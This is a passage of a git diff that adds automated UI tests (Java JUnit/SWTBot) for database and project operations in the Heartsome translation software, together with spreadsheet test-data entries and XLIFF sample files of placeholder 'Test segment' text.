+// +// @Repeat(15) +// @Ignore +// @Test +// public void tc3DeleteDB() { +// HsRow row = shDeleteDBData.new HsRow(deleteDBNum); +// MemoryDBManagement db = new MemoryDBManagement(row); +// db.deleteDB(TsUIConstants.Entry.MENU); +// deleteDBNum++; +// } +// +// @Repeat(5) +// @Ignore +// @Test +// public void tc4DeleteConnection() { +// HsRow row = shConnectServerData.new HsRow(deleteConnectionNum); +// MemoryDBManagement db = new MemoryDBManagement(row); +// db.deleteConnection(TsUIConstants.Entry.MENU); +// deleteConnectionNum++; +// } + + + @Repeat(23) + @Ignore + @Test + public void tc5ConnecttreiTbServer() { + HsRow row = shConnectServerData.new HsRow(connectServerNum); + MemoryDBManagement db = new MemoryDBManagement(row); + db.setMemory(false); + db.connectServer(TsUIConstants.Entry.MENU); + connectServerNum++; + } + + @Repeat(5) + @Test + public void tc6CreatetreiTbServer() { + HsRow row = shConnectServerData.new HsRow(saveServerNum); + MemoryDBManagement db = new MemoryDBManagement(row); + db.setMemory(false); + db.saveServer(TsUIConstants.Entry.MENU); + System.out.println(saveServerNum); + saveServerNum ++; + } + + + + @Repeat(5) + @Test + public void tc7CreatetreiTbDB() { + HsRow row = shCreateDBData.new HsRow(createDBNum); + MemoryDBManagement db = new MemoryDBManagement(row); + db.setMemory(false); + db.createDB(TsUIConstants.Entry.MENU); + createDBNum++; + } + + @Repeat(15) + @Ignore + @Test + public void tc8DeletetreiTbDB() { + HsRow row = shDeleteDBData.new HsRow(deleteDBNum); + MemoryDBManagement db = new MemoryDBManagement(row); + db.setMemory(false); + db.deleteDB(TsUIConstants.Entry.MENU); + deleteDBNum++; + } + + @Repeat(5) + @Ignore + @Test + public void tc9DeletetreiTbConnection() { + HsRow row = shConnectServerData.new HsRow(deleteConnectionNum); + MemoryDBManagement db = new MemoryDBManagement(row); + db.setMemory(false); + db.deleteConnection(TsUIConstants.Entry.MENU); + deleteConnectionNum++; + } + + + + + +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/file/ProjectOperationTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/file/ProjectOperationTest.java new file mode 100644 index 0000000..d925e96 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/file/ProjectOperationTest.java @@ -0,0 +1,86 @@ +package net.heartsome.cat.ts.test.menu.file; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.basecase.menu.file.ProjectCreate; +import net.heartsome.cat.ts.test.basecase.menu.file.ProjectDelete; +import net.heartsome.cat.ts.test.basecase.menu.file.ProjectRename; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class ProjectOperationTest { + private static HsSheet shCreatePrjData; + private static HsSheet shRenamePrjData; + private static HsSheet shDeletePrjData; + private int createPrjNum = 1; + private int renamePrjNum = 1; + private int deletePrjNum = 1; + + @BeforeClass + public static void start() throws FileNotFoundException, IOException { + String filePrjData = FileUtil.getExecutionPath() + "/testData/ProjectOperationTest.xls"; + shCreatePrjData = new ExcelUtil(filePrjData).new HsSheet("Create"); + shRenamePrjData = new ExcelUtil(filePrjData).new HsSheet("Rename"); + shDeletePrjData = new ExcelUtil(filePrjData).new HsSheet("Delete"); + } + + @AfterClass + public static void end() { + } + + @Before + public void setUp() { +// ProjectTreeView.getInstance().ctxMenuRefresh().click(); + } + + @After + public void tearDown() { + OsUtil.typeEsc(); + OsUtil.typeEsc(); + HSBot.bot().sleep(500); + } + + @Repeat(3) + @Test + public void tc1DeleteProject() { + ProjectCreate prj1 = new ProjectCreate(shCreatePrjData.new HsRow(deletePrjNum)); + prj1.createPrj(TsUIConstants.Entry.MENU); + ProjectDelete prj2 = new ProjectDelete(shDeletePrjData.new HsRow(deletePrjNum)); + prj2.deletePrj(TsUIConstants.Entry.MENU); + deletePrjNum++; + } + + // @Ignore + @Repeat(5) + @Test + public void tc2CreateProject() { + ProjectCreate prj = new ProjectCreate(shCreatePrjData.new HsRow(createPrjNum)); + prj.createPrj(TsUIConstants.Entry.MENU); + createPrjNum++; + } + + // @Ignore + @Repeat(5) + @Test + public void tc3RenameProject() { + ProjectRename prj = new ProjectRename(shRenamePrjData.new HsRow(renamePrjNum)); + prj.renamePrj(TsUIConstants.Entry.SHORTCUT); + renamePrjNum++; + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/translation/PreTranslationTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/translation/PreTranslationTest.java new file mode 100644 index 0000000..4b3fe85 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/menu/translation/PreTranslationTest.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.ts.test.menu.translation; + +import java.io.FileNotFoundException; +import java.io.IOException; + +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.test.swtbot.junit.HSJunit4ClassRunner; +import net.heartsome.test.swtbot.junit.Repeat; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.common.FileUtil; +import net.heartsome.test.utilities.poi.ExcelUtil; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet; +import net.heartsome.test.utilities.sikuli.OsUtil; + +import org.junit.After; +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.BeforeClass; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(HSJunit4ClassRunner.class) +public class PreTranslationTest { + + private static HsSheet shPreTransData; + + @BeforeClass + public static void start() throws FileNotFoundException, IOException { + String filePrjData = FileUtil.getExecutionPath() + "/testData/PreTranslationTest.xls"; + shPreTransData = new ExcelUtil(filePrjData).new HsSheet("Create"); + } + + @AfterClass + public static void end() { + } + + @Before + public void setUp() { + } + + @After + public void tearDown() { + OsUtil.typeEsc(); + OsUtil.typeEsc(); + HSBot.bot().sleep(500); + } + +// @Repeat(3) + @Test + public void tc1DeleteProject() { + } + + // @Ignore +// @Repeat(5) + @Test + public void tc2CreateProject() { + } + + // @Ignore +// @Repeat(5) + @Test + public void tc3RenameProject() { + } +} diff --git a/test/net.heartsome.cat.ts.test/testData/DatabaseTest.xls b/test/net.heartsome.cat.ts.test/testData/DatabaseTest.xls new file mode 100644 index 0000000..cb9e89f Binary files /dev/null and b/test/net.heartsome.cat.ts.test/testData/DatabaseTest.xls differ diff --git a/test/net.heartsome.cat.ts.test/testData/ImportToDBTest.xls b/test/net.heartsome.cat.ts.test/testData/ImportToDBTest.xls new file mode 100644 index 0000000..b5dff35 Binary files /dev/null and b/test/net.heartsome.cat.ts.test/testData/ImportToDBTest.xls differ diff --git a/test/net.heartsome.cat.ts.test/testData/ImportToDBTestSZ.xls b/test/net.heartsome.cat.ts.test/testData/ImportToDBTestSZ.xls new file mode 100644 index 0000000..97abef4 Binary files /dev/null and b/test/net.heartsome.cat.ts.test/testData/ImportToDBTestSZ.xls differ diff --git a/test/net.heartsome.cat.ts.test/testData/ProjectOperationTest.xls b/test/net.heartsome.cat.ts.test/testData/ProjectOperationTest.xls new file mode 100644 index 0000000..5b3a36d Binary files /dev/null and b/test/net.heartsome.cat.ts.test/testData/ProjectOperationTest.xls differ diff --git a/test/net.heartsome.cat.ts.test/testData/SegmentMerge.xls b/test/net.heartsome.cat.ts.test/testData/SegmentMerge.xls new file mode 100644 index 0000000..5413c0b Binary files /dev/null and b/test/net.heartsome.cat.ts.test/testData/SegmentMerge.xls differ diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-10.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-10.xlf new file mode 100644 index 0000000..c3f35f1 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-10.xlf @@ -0,0 +1,39 @@ + + + +

    + + + + + + UTF-8 + +
    + + + Test segment 0. + + + Test segment 1. + + + + Test segment 2. + Translation of Test segment 2. + + + Test segment 3. + Translation of Test segment 3. + + + Test segment 4. + Translation of Test segment 4. + + + Test segment 5. + Translation of Test segment 5. + + + + diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-100.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-100.xlf new file mode 100644 index 0000000..51349fb --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-100.xlf @@ -0,0 +1,43 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. Text code TextTEXTcodeTEXT + + + Test segment 2. Text TEXTTEXT. + + + Test segment 3. Text TEXTTEXT. + + + Test segment 4. Text textTEXT. + + + Test segment 5. Text codeTEXT. + + + Test segment 6. TextcodeTextTEXTcodeTEXT. + + + Test segment 7. Text textTEXT. + + + Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-11.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-11.xlf new file mode 100644 index 0000000..5c2d677 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-11.xlf @@ -0,0 +1,102 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + + Test segment 2. + Translation of test segment 2. + + T e s t s e g m e n t 2. + 文本段 2。 + + + + Test segment 3. + + Test segment 3. - 70% + 文本段 3。 + + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 4. + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90% + 文本段 4。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 5. + Translation of test segment 5. + + Test segment 5. - 80 + 文本段 5。 - 80 + + + Test segment 5. - 90 + 文本段 5。 - 90 + + + Test segment 5. - 100 + 文本段 5。 - 100 + + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 70 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 70 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 80 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 80 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + + + + Test segment 7. + Translation of test segment 7. + + Test segment 7. + 文本段 7。 + + + + Test segment 8. + Translation of test segment 8. + + Test segment 8. + 文本段 8。 + + + + Test segment 9. + Translation of test segment 9. + + Test segment 9. + 文本段 9。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-12.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-12.xlf new file mode 100644 index 0000000..ac5dd50 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-12.xlf @@ -0,0 +1,102 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + Translation of test segment 1. + + + Test segment 2. + Translation of test segment 2. + + T e s t s e g m e n t 2. + 文本段 2。 + + + + Test segment 3. + + Test segment 3. - 70% + 文本段 3。 + + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 4. + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90% + 文本段 4。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 5. + Translation of test segment 5. + + Test segment 5. - 80 + 文本段 5。 - 80 + + + Test segment 5. - 90 + 文本段 5。 - 90 + + + Test segment 5. - 100 GT + 5的试验段。 - 100 GT + + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 70 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 70 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 80 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 80 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 90 + + + Test segment 6. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 6。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + + + + Test segment 7. + Translation of test segment 7. + + Test segment 7. + 文本段 7。 + + + + Test segment 8. + Translation of test segment 8. + + Test segment 8. + 文本段 8。 + + + + Test segment 9. + Translation of test segment 9. + + Test segment 9. + 文本段 9。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-17.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-17.xlf new file mode 100644 index 0000000..9e07525 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-17.xlf @@ -0,0 +1,52 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. Text code TextTEXTcodeTEXT + Translation of Test segment 1. Text code TextTEXTcodeTEXT + + + Test segment 2. Text TEXTTEXT. + Translation of Test segment 2. Text TEXTTEXT. + + + Test segment 3. Text TEXTTEXT. + Translation of Test segment 3. Text TEXTTEXT. + + + Test segment 4. Text textTEXT. + Translation of Test segment 4. Text textTEXT. + + + Test segment 5. Text codeTEXT. + Translation of Test segment 5. Text codeTEXT. + + + Test segment 6. TextcodeTextTEXTcodeTEXT. + Translation of Test segment 6. TextcodeTextTEXTcodeTEXT. + + + Test segment 7. Text textTEXT. + Translation of Test segment 7. Text textTEXT. + + + Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-2.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-2.xlf new file mode 100644 index 0000000..dbe3f9e --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-2.xlf @@ -0,0 +1,173 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2a.Test segment 2b. + + + + + + + + + Test segment 3a.Test segment 3b. + + + + Test segment 4a. + + + Test segment 4b. + + + + + Test segment 5a.Test segment 5b. + + + + + + + + Test segment 6a.Test segment 6b. + + + + + + + + Test segment 7a. - Ignore + + + Test segment 7b.Test segment 7c. + + + + + + + + Test segment 8a. - Ignore + + + Test segment 8b.Test segment 8c. + + + + + + + Test segment 9a.Test segment 9b. + + + + + + + Test segment 9c. - Ignore + + + + Test segment 10a.Test segment 10b. + + + + + + + Test segment 10c. - Ignore + + + + + Test segment 11a. - Ignore + + + Test segment 11b.Test segment 11c. + + + + + + + + Test segment 12a. - Ignore + + + Test segment 12b.Test segment 12c. + + + + + + + + Test segment 13a.Test segment 13b. + + + Test segment 13c. - Ignore + + + + + + + + Test segment 14a.Test segment 14b. + + + Test segment 14c. - Ignore + + + + + + + Test segment 15. + + + Test segment 16. + + + Test segment 17. + + + Test segment 18. + + + Test segment 19. + + + Test segment 20. + + + Test segment 21. + + + Test segment 22. + + + Test segment 23. + + + Test segment 24. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-22.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-22.xlf new file mode 100644 index 0000000..95f4682 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-22.xlf @@ -0,0 +1,39 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2. + + Test segment 2. + 文本段2。 + + + + Test segment 3. + + Test segment 3. + 文本段3。 + + + + Test segment 4. - Needs Terminology Database. + + + Test segment 5. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-23.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-23.xlf new file mode 100644 index 0000000..835f4cb --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-23.xlf @@ -0,0 +1,32 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2. + Test translation 2. + + + Test segment 3. + + + Test segment 4. + + + Test segment 5. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3.xlf new file mode 100644 index 0000000..c2caefb --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3.xlf @@ -0,0 +1,302 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 19. + + + Test segment 1a. + + + Test segment 1b. + + + Test segment 2a. + + + Test segment 2b. + + + Test segment 3a. + + + Test segment 3b.Test segment 3c. + + + + + + Test segment 4a.Test segment 4b. + + + + + + Test segment 4c. + + + Test segment 5a. + + + + Test segment 5b. + + + Test segment 5c. - Ignore + + + + + Test segment 6a. + + + Test segment 6b. + + + + + Test segment 7a. + + + Test segment 7b. + + + + + Test segment 8a. - Ignore + + + Test segment 8b. + + + + Test segment 8c. + + + Test segment 9a. + + + + Test segment 9b.Test segment 9c. + + + + + + + + Test segment 10a.Test segment 10b. + + + + + + + Test segment 10c. + + + Test segment 11a. + + + + Test segment 11b.Test segment 11c. + + + Test segment 11d. - Ignore + + + + + + + + Test segment 12a.Test segment 12b. + + + Test segment 12c. + + + + + + + + Test segment 13a. + + + Test segment 13b.Test segment 13c. + + + + + + + + Test segment 14a. - Ignore + + + Test segment 14b.Test segment 14c. + + + + + + + Test segment 14d. + + + Test segment 15a. + + + Test segment 15b. + + + Test segment 16a. + + + Test segment 16b. + + + Test segment 17a. + + + Test segment 17c. - Ignore + + + Test segment 17b. + + + Test segment 18a. + + + Test segment 18c. - Ignore + + + Test segment 18b. + + + Test segment 21a. + + +
    + +
    + + + + + + UTF-8 + +
    + + + Test segment 21b. + + + Test segment 22a. + + +
    + +
    + + + + + + UTF-8 + +
    + + + Test segment 22b. + + + Test segment 25a. + + + Test segment 25b. + + + Test segment 26a. + + + Test segment 26b. + + + Test segment 27a. + + + Test segment 27b. + + + Test segment 28a. + + + Test segment 28b. + + + Test segment 29a. + + + Test segment 29b. + + + Test segment 30a. + + + Test segment 30b. + + + Test segment 31a. + + + Test segment 31b. + + + Test segment 32a. + + + Test segment 32b. + + + Test segment 33a. + + + Test segment 33b. + + + Test segment 34a. + + + Test segment 34b. + + + Test segment 35a. + + + Test segment 35b. + + + Test segment 36a. + + + Test segment 36b. + + + Test segment 20, Test segment 23a, Test segment 24a. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-30.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-30.xlf new file mode 100644 index 0000000..f022f56 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-30.xlf @@ -0,0 +1,143 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + + Test segment 2a.Test segment 2b. + + + + + + + + + Test segment 3a.Test segment 3b. + + + + Test segment 4a. + + + Test segment 4b. + + + + + Test segment 5a.Test segment 5b. + + + + + + + + Test segment 6a.Test segment 6b. + + + + + + + + Test segment 7a. - Ignore + + + Test segment 7b.Test segment 7c. + + + + + + + + Test segment 8a. - Ignore + + + Test segment 8b.Test segment 8c. + + + + + + + Test segment 9a.Test segment 9b. + + + + + + + Test segment 9c. - Ignore + + + + Test segment 10a.Test segment 10b. + + + + + + + Test segment 10c. - Ignore + + + + + Test segment 11a. - Ignore + + + Test segment 11b.Test segment 11c. + + + + + + + + Test segment 12a. - Ignore + + + Test segment 12b.Test segment 12c. + + + + + + + + Test segment 13a.Test segment 13b. + + + Test segment 13c. - Ignore + + + + + + + + Test segment 14a.Test segment 14b. + + + Test segment 14c. - Ignore + + + + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-32.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-32.xlf new file mode 100644 index 0000000..584631b --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-32.xlf @@ -0,0 +1,99 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 0. + + + Test segment 1. + + + + Test segment 2. + + + + Test segment 3. + + + + Test segment 4. + + + + Test segment 5. + + + + Test segment 6. + + + + Test segment 7. + + + + Test segment 8. + + + + Test segment 9. + + + + Test segment 10. + + + + Test segment 11. + Translation of test segment 11. + + + Test segment 12. + Translation of test segment 12. + + + Test segment 13. + Translation of test segment 13. + + + Test segment 14. + Translation of test segment 14. + + + Test segment 15. + Translation of test segment 15. + + + Test segment 16. + Translation of test segment 16. + + + Test segment 17. + Translation of test segment 17. + + + Test segment 18. + Translation of test segment 18. + + + Test segment 19. + Translation of test segment 19. + + + Test segment 20. + Translation of test segment 20. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-35.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-35.xlf new file mode 100644 index 0000000..86eb5ed --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-35.xlf @@ -0,0 +1,156 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1a. + + + Test segment 1b. + + + Test segment 2a. + + + Test segment 2b. + + + Test segment 3a. + + + Test segment 3b.Test segment 3c. + + + + + + Test segment 4a.Test segment 4b. + + + + + + Test segment 4c. + + + Test segment 5a. + + + + Test segment 5b. + + + Test segment 5c. - Ignore + + + + + Test segment 6a. + + + Test segment 6b. + + + + + Test segment 7a. + + + Test segment 7b. + + + + + Test segment 8a. - Ignore + + + Test segment 8b. + + + + Test segment 8c. + + + Test segment 9a. + + + + Test segment 9b.Test segment 9c. + + + + + + + + Test segment 10a.Test segment 10b. + + + + + + + Test segment 10c. + + + Test segment 11a. + + + + Test segment 11b.Test segment 11c. + + + Test segment 11d. - Ignore + + + + + + + + Test segment 12a.Test segment 12b. + + + Test segment 12c. + + + + + + + + Test segment 13a. + + + Test segment 13b.Test segment 13c. + + + + + + + + Test segment 14a. - Ignore + + + Test segment 14b.Test segment 14c. + + + + + + + Test segment 14d. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-37.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-37.xlf new file mode 100644 index 0000000..831a103 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-37.xlf @@ -0,0 +1,54 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1a. + + + Test segment 1b. + + + Test segment 2a. + + + + Test segment 2b. + + + + Test segment 3a. + Translation of test segment 3a. + + + Test segment 3b. + + + + Test segment 4a. + + + + Test segment 4b. + Translation of test segment 4b. + + + Test segment 5a. + Translation of test segment 5a. + + + Test segment 5b. + Translation of test segment 5b. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3a.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3a.xlf new file mode 100644 index 0000000..c2caefb --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3a.xlf @@ -0,0 +1,302 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 19. + + + Test segment 1a. + + + Test segment 1b. + + + Test segment 2a. + + + Test segment 2b. + + + Test segment 3a. + + + Test segment 3b.Test segment 3c. + + + + + + Test segment 4a.Test segment 4b. + + + + + + Test segment 4c. + + + Test segment 5a. + + + + Test segment 5b. + + + Test segment 5c. - Ignore + + + + + Test segment 6a. + + + Test segment 6b. + + + + + Test segment 7a. + + + Test segment 7b. + + + + + Test segment 8a. - Ignore + + + Test segment 8b. + + + + Test segment 8c. + + + Test segment 9a. + + + + Test segment 9b.Test segment 9c. + + + + + + + + Test segment 10a.Test segment 10b. + + + + + + + Test segment 10c. + + + Test segment 11a. + + + + Test segment 11b.Test segment 11c. + + + Test segment 11d. - Ignore + + + + + + + + Test segment 12a.Test segment 12b. + + + Test segment 12c. + + + + + + + + Test segment 13a. + + + Test segment 13b.Test segment 13c. + + + + + + + + Test segment 14a. - Ignore + + + Test segment 14b.Test segment 14c. + + + + + + + Test segment 14d. + + + Test segment 15a. + + + Test segment 15b. + + + Test segment 16a. + + + Test segment 16b. + + + Test segment 17a. + + + Test segment 17c. - Ignore + + + Test segment 17b. + + + Test segment 18a. + + + Test segment 18c. - Ignore + + + Test segment 18b. + + + Test segment 21a. + + +
    + +
    + + + + + + UTF-8 + +
    + + + Test segment 21b. + + + Test segment 22a. + + +
    + +
    + + + + + + UTF-8 + +
    + + + Test segment 22b. + + + Test segment 25a. + + + Test segment 25b. + + + Test segment 26a. + + + Test segment 26b. + + + Test segment 27a. + + + Test segment 27b. + + + Test segment 28a. + + + Test segment 28b. + + + Test segment 29a. + + + Test segment 29b. + + + Test segment 30a. + + + Test segment 30b. + + + Test segment 31a. + + + Test segment 31b. + + + Test segment 32a. + + + Test segment 32b. + + + Test segment 33a. + + + Test segment 33b. + + + Test segment 34a. + + + Test segment 34b. + + + Test segment 35a. + + + Test segment 35b. + + + Test segment 36a. + + + Test segment 36b. + + + Test segment 20, Test segment 23a, Test segment 24a. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3b.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3b.xlf new file mode 100644 index 0000000..1da8bb0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-3b.xlf @@ -0,0 +1,22 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 23b, Test segment 24b. + + + Test segment. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-4.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-4.xlf new file mode 100644 index 0000000..2d34423 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-4.xlf @@ -0,0 +1,56 @@ + + + +
    + + + + + + UTF-8 + +
